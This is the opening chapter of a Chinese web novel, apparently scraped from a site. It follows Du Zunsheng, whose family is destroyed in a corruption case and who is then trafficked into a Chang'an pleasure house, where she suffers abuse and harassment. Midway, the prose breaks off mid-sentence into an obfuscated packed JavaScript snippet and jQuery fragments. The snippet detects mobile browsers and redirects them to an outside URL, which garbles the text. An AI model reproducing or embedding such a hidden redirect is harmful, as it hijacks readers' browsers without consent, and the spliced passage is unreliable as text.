1. 第 1 章

作品:《妖妃她恃美行凶

    出了中书门,跨了下马桥,顺着汇进城里的山阳渎一直走,直到东门就能遥遥望见波斯人大食人的船舶,风帆遮天蔽日,水光淋漓,船影摇晃,所有人都小成了一个点集在码头上来来往往。


    扬州子城里杜刺史家的郎君女郎一大早便不见了,府里鸡飞狗跳,闹得一塌糊涂,傅母急急禀报,杜公只捋须,一句“由他们去吧”。


    尊胜被两哥哥个拽着胳膊爬上房顶时,还揉着惺忪睡眼,两岸的画舫酒家却已经琴声阵阵,轻歌曼舞了。天下之盛,扬州为首。大哥哥同辉双手叉腰遥望运河,眼里满是意图挞伐的野望,二哥哥同皎半蹲着捏了捏尊胜的脸,远指南边的大市。


    “怎么样,红胡新捉了批斗鸡,骁勇异常,那可是西边的好东西,哥哥一会儿带你去玩。”说着脸上挂上了几分讨好“你眼光好,一会儿给哥哥挑一个呗,赢了给你买新弓!”


    尊胜被水光晃得眼花,抬手扯住她哥哥的衣袖挡了眼睛“谁稀罕你买的弓,我自己也能买。”想了想又说“除非你给我也买一个斗鸡。”


    同皎好玩斗鸡,可惜老是走眼,但被他带着玩的妹妹尊胜,在这方面却很有心得,一挑一个准,能让同皎回回赢得盆满钵满。过去尊胜还小,哄两句就给哥哥帮忙,现在大了,也不甘于只做同皎的幕后师爷。


    一大早就把她从被窝里扒拉出来,要点好处理所应当。尊胜看同皎犹豫,抬起下巴威胁道:“怎么?不愿意么?不愿意我就告诉阿耶。他要知道你带我玩斗鸡,你就等着吧!”


    人小鬼大,同皎想起杜刺史手中的戒尺,只好苦着脸答应。大哥哥同辉扬着笑惯溺地看着他俩。


    南边大市里属红胡圈的斗鸡场大,人嘛,总得娱乐。一圈竹篱外围满了红脸涨脖子的大老粗,念着斗鸡名的吼声此起彼伏,快要掀天。同皎顺着尊胜的眼光,把全副身家压到了一个羸弱不起眼的鸡上。


    “能行吗这?输了你赔我。”同皎狐疑,尊胜斜了他一眼,继而转头跟着叫起来“小白菜!小白菜!小白菜赢!”一大群男人里属她一个小女郎喊得最起劲。


    斗鸡掐得你死我活,绒羽飞了漫天,尊胜忍不住打喷嚏,还要叮嘱同皎继续给小白菜鼓劲。原本强势连胜三局的飞将军,在小白菜登场后逐渐败下阵来,被啄得飞出了场外。


    同皎拢了一大兜通宝在怀里撞得叮当响,尊胜怀里的小白菜顺服地贴上她的臂膀。


    “要是阿耶问起来,就是你买的。同皎,你听见了没?”尊胜一只胳膊吊着同辉的肩膀,坐在他怀里。毕竟才五岁,只一会儿就精力不济,得人抱着。转过头又说“哥哥你记住没?”


    人又小又娇横,连名字都在耀武扬威,每叫她一次,简直好像在奉承她。同皎嘟囔着,同辉只好点头。


    要是阿耶问起来,就是你买的。记住了没?


    这句话连同扬州城外荡漾的运河一直晃在尊胜的心间,直视水波时的头晕目眩感,在尊胜躲在宣平坊外空置的大水坛里再现。


    上方槐树叶落了满头,层层铺垫在水缸口的杂物上。喘不过气来,尊胜双手捂着嘴巴,身躯圈作一团。


    透过参差豁口还能瞧见坊里直冲云霄的火烟,没人喊着走水啦,只有禁军一字排开将宅院包围。凛凛黑甲映照他们的脸像坚冰一样不为所动。同辉同皎将她藏到这里,冲进宣平坊的身影依稀可见。


    火灭了,同辉同皎不见了,阿耶也不见了,宅子被烧空了,禁军回去了。


    身体慢慢僵硬,第三天夜半时尊胜才顺着缸沿爬了出来。直到一早坊门大开,又重新隐匿进了人群里。


    “黄米多少一斤啊?”


    “越来越贵喽,十钱一斤,快吃不起啦。”


    另一个声嬉笑着:“杜刺史家里搜出来的钱粮够你吃到下下下下辈子!果然扬州富庶,要是我能刺制扬州...嘿嘿...”


    “去去去,宣平坊的火都快要把天照亮了,昧了那么多,善恶终有报,咔擦一声,人头落地,西市角大柳树下的血怕是都洗不干。”


    “别扫兴呀,什么时候判斩?看看去?”


    尊胜木然听着,一时间不知道杜刺史是谁,自己又是谁。恍惚间想起阿耶曾说,到长安,要回凤翔去,那是他们老家。


    分不清东南西北,迷乱在人群里,西市角的柳树梢在心头飘啊飘,眼前一会儿是扬州的大船,一会儿是小白菜,一会儿是同辉同皎的脸,最后变成了树下的一滩血迹,盆里的水泼了又泼,血迹不浅反深,像沤进黄土地里。


    过路的人一脚一脚踩过去,连阿耶和同辉同皎的尸首也被踩进了地里,尊胜急得大叫,心像被热水烫过,突然一双手蒙住她眼睛,天地间一片黑暗,最终挣脱了出来。


    原来是做梦了。


    坐在炕边的阿蛮咬断手里的针线,笑吟吟地看着她:“什么呀小猫,又听见你刚睡着了乱叫唤,念叨什么小白菜。”


    尊胜讨厌这个名字,但知道阿蛮一向爱逗她,于是抹了一把额头上的汗,从盆里绞出手巾背对着人擦脸,嘴里嘟囔着:“我不叫小猫。”


    阿蛮将做了一半的衣裳提起来在身上比划:“好啦好啦,知道了,叫阿幸,叫你阿幸行不行?”


    一阵沉默,尊胜轻轻嗯了一声,凑到阿蛮身边,从腰间的荷包里摸出一个细小的指环:“送给你的。”


    丁点银丝绞成的,手艺也粗糙,但对他们这些人来说算是很好的东西,阿蛮戴在手上端详,边道:“是不是崇圣寺门口那小叫花给你的?收了你的东西可别说我没提醒你,她这几天肯定来找你麻烦,你注意点。”


    当年尊胜没去瞧判斩,刚出了启夏门就被拍花子的拐走了,几经转手不但没出长安,反倒被卖进了平康坊的嘉月馆当扫撒丫头。


    平康坊是销金窝,有天下间最娴熟舞乐,最善解人意的女妓,她在这里一待就是八年。原以为日子就这样平淡过,但如今假母也找到了她头上。


    小时候长得像苦脸小猫不代表长大不美,十五岁的尊胜美得出挑,身上隐藏的好处简直惹人心痒,假母不从她身上榨取更多好处说不过去。一而再,再而三,要是还来,就是第四次了。


    从妓?不能。虽说现在被嘉月馆买回来造的也是贱籍,但干粗活和卖身到底有区别,当年要是逃不出来就是充教坊司的命,可这不是逃出来了吗?


    长安城里明渠纵横,嘉月馆的污水全都倾倒进渠里,水花翻涌间也能依稀窥见江河湖海的浩瀚,尊胜不止一次地蹲在门口看明渠里的水,忽而又回忆到兄长们带她去看大船的那天。


    六岁之前的记忆并不是全都一清二楚,只有烙印在脑海里阿耶宽厚的手掌,时刻在她记事后提醒她,她是杜伯言的女儿。


    当年只有六岁的尊胜很难理解清楚抄家的含义,仅仅是寻不到熟悉的人就让她慌乱无措,直到沾了盐水的细鞭抽打在她身上时,她才恍然大悟,并且快速窥清了可能未来数十年如一日的痛苦生活。


    做不完


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152320|164881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的活,挨不完的打,以及被人忽视的自由意志。


    她曾不止一次地躲在柴火房里,静静等待伤口结痂,再三要求自己下次绝不许哭,天暗了又亮了,听人说阿耶当年还没等到判斩,就吊死在大狱里,畏罪自裁的锅排山倒海般扣在脑袋上。


    从贫瘠的记忆里努力搜刮,总记得,家中布置真如田舍一般,阿耶好像也十分抠门,弄得同皎和她只得靠斗鸡赚点钱花。


    她并不知道阿耶贪墨是真是假,但心里总是由于在街边听到针对于杜伯言的辱骂和自己经历的苦难生活,分外期望阿耶是被人陷害,他们杜家清清白白。


    人活着得有个想头,尊胜总盼着有一天圣人站在金殿上广告天下,杜伯言贪污案,是冤枉他们一家啦,然后已经死去的阿耶突然从门外进来,牵着她的手把她带回家去了,从今往后,再也没有人骂她贱蹄子,贱人,也不会再有人在她干活时明里暗里想要强迫她,胡乱摸她了。


    尊胜的愿望曾经一度十分朴实,那就是想过上好日子,至于什么是好日子,仁者见仁智者见智,但起码不能是律同牲畜的贱籍,也不会谁都能打骂她。不过这个愿望最终随着受伤过多和阅历逐渐丰富,最终变得更加宏大。


    “阿蛮姐最疼我啦。”说着尊胜抱着阿蛮胳膊蹭了蹭。


    行啦,阿蛮努努嘴“今天还去吗?趁这会儿都歇着,没人看你。”


    尊胜应了一声,去,冒着灰从炕底拽出来个外面雕着粗糙花样的小木匣子,掏摸半天又给塞了回去。


    长安城里明渠纵横,平康坊里一小块地界铺着庄重的青石砖,走上还能听见哒哒声。前段日子巡城的金吾卫把坊里流窜的人全都赶到了坊外。不算高的坊墙后半趴着一个衣着褴褛的人。


    一个蓬头垢面的小乞丐瞧见尊胜过来了,急急向她跑去。上衫半敞着,怀里露出只脏兮兮的小白猫。


    “呀,哪儿来的,还这么小就没了阿娘?”尊胜讶异后从怀里掏出半张手掌大的饼,一点点掰碎喂到小猫嘴边去。


    朱五眼里瞧着猫,手摸着被削了半截头发的脑袋:“昨天在通善街那块儿晒太阳,武威郡王府后门,连带着几片烂菜叶子一起扔出来的。我带着不便,要是一个没看紧,那些饿绿了眼的说不定就...阿幸姐你看,要不先留你这儿?”


    长安地价高,嘉月馆算有钱也只占了平康坊一小角,尊胜打进来就和几个姑娘挤一张炕,她平时是经常做好事,可这也没地方养猫啊,尊胜有些为难。


    “呦!这不是我们小猫嘛!又跑这儿做菩萨来了?”这声音听着刺耳。


    嘉月馆里负责秩序安全的头头,假父孙伯,从一角的酒肆里探出头,挺着硕大的肚子,一面剔牙一面眯起眼睛,居高临下地打量着尊胜。


    尊胜不喜欢别人管她叫小猫,这是她刚到嘉月馆时众人胡乱给她起的名字。


    那时自己年幼懵懂,还留存着杜家未败前的矜傲姿态,馆里人看她不顺眼,便问她叫什么名,她说叫尊胜,一众人哄笑开,你一个贱籍凭什么叫尊胜?还是叫小猫,贱人配贱名,长得像街边没人要的,也好养活。


    但此时无奈自己势弱,只好扮了张笑脸回道:“孙伯叫我阿幸就成啦。”


    假父呸一声吐掉了叼着的竹签:“嗯,虽在同一个馆里,但有些日子不见了,我看看。”


    又啧啧作声,假模假样,佯装关心,实则分外猥琐地调侃:“我们小猫是越长越漂亮了。怎么?还想着当娘娘呢?”